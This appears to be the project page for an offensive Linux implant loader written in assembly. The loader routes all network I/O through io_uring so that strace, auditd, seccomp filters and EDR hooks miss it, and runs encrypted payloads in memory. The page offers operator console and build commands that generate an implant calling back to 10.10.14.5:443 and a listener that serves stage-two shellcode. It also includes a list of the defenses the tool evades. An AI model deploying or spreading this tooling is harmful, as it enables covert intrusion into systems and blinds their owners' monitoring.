Invisible to syscall monitoring.

Pure x86-64 NASM assembly implant loader. All I/O through io_uring submission queues. ChaCha20-Poly1305 AEAD encryption. ~4.2KB of position-independent shellcode.

uring-console
uring> psk generate
PSK: a1b2c3...f4e5d6 (256-bit)

uring> payload /tmp/stage2.bin
loaded 2,048 bytes

uring> generate 10.10.14.5 443 /tmp/implant
assembled → patched → /tmp/implant (4,218 bytes)

uring> listen 443
listening on 0.0.0.0:443 (ChaCha20-Poly1305)
~4.2KB
Shellcode
io_uring
Engine
ChaCha20
Encryption
0
Dependencies

Below the surface

Zero traditional I/O syscalls. Authenticated encryption. Hand-written assembly. No compiler, no runtime, no libc.

io_uring Engine

All network I/O via io_uring submission/completion queues. Tools that hook the syscall table — strace, auditd, seccomp-bpf, EDR userland hooks — cannot observe the implant's operations.

# Zero traditional I/O syscalls
$ strace ./implant 2>&1 | grep -E 'socket|connect|read|write'
(no output)
~4.2KB
Shellcode Size

ChaCha20-Poly1305

Full RFC 8439 AEAD from Grotto's pure-assembly crypto. 256-bit PSK, random 12-byte nonces per message. Tampered payloads silently rejected.

In-Memory Staging

Payload received, decrypted, and executed entirely in memory. RW to RX mprotect transition. Never RWX. Zero disk artifacts.

Dual Output

Builds as standalone ELF (~12.7KB) or raw PIC shellcode (~4.2KB) for injection. Same source, two deployment options.

0
Dependencies

Syscall Evasion

No socket, connect, read, write, send, or recv. Only io_uring_setup, io_uring_enter, mmap, mprotect, getrandom, and close. BPF filters on traditional I/O never fire.

# Only 6 syscalls used
io_uring_setup · io_uring_enter · mmap
mprotect · getrandom · close

Operator Console

Interactive cmd2+rich REPL with Catppuccin theme. Multi-listener management, session tracking, JSON export, on-the-fly implant generation.

Platform support

Pure x86_64 assembly io_uring stealth loader with encrypted payload delivery on Linux 5.1+.

io_uring Syscalls
ChaCha20-Poly1305
Payload Decryption
Memory Execution
Static Binary
Zero Dependencies
~4.2KB Binary
Linux 5.1+ Only
Windows
macOS
Full   Limited   Not Supported

Five-module design

Clean separation between orchestration, ring engine, networking, crypto, and staging. Pure hand-written NASM throughout.

1

main.asm

Entry point and orchestration. Coordinates the implant lifecycle from ring setup through payload execution to clean teardown.

2

uring.asm

io_uring engine — ring buffer setup, SQE submission, CQE polling. Maps submission and completion queues via mmap.

3

net.asm + crypto.asm

TCP connect via IORING_OP_SOCKET/IORING_OP_CONNECT. ChaCha20-Poly1305 AEAD with per-message random nonces from getrandom(2).

4

stage.asm

Anonymous mmap RW region, decrypt payload in place, mprotect RX, jump to entry. No RWX pages, no disk writes.

Build and deploy

NASM + ld. No compiler toolchain. No package manager. Build in seconds.

build
$ git clone https://github.com/Real-Fruit-Snacks/Undercurrent
$ cd Undercurrent
$ pip install cmd2 rich cryptography

# Build ELF + shellcode
$ make elf
$ make shellcode

$ ls -la build/
uring-implant      12.7K
uring-implant.bin   4.2K
operate
# Interactive console
$ ./uring-console

uring> psk generate
uring> payload stage2.bin
uring> generate 10.10.14.5 443 /tmp/implant
uring> listen 443

# Or command-line
$ python3 tools/listener.py \
    --lport 443 --payload sc.bin

Know the boundaries

Evades

  • strace / ltrace — no traditional I/O syscalls
  • auditd — io_uring bypasses audit hooks
  • seccomp-bpf — filters on socket/read/write never fire
  • EDR userland hooks — no hooked API calls
  • Disk forensics — in-memory execution only

Visible To

  • Kernel 6.1+ io_uring restrictions
  • io_uring-aware eBPF probes
  • Network connection metadata
  • Memory forensics — RAM inspection
  • SELinux / AppArmor kernel modules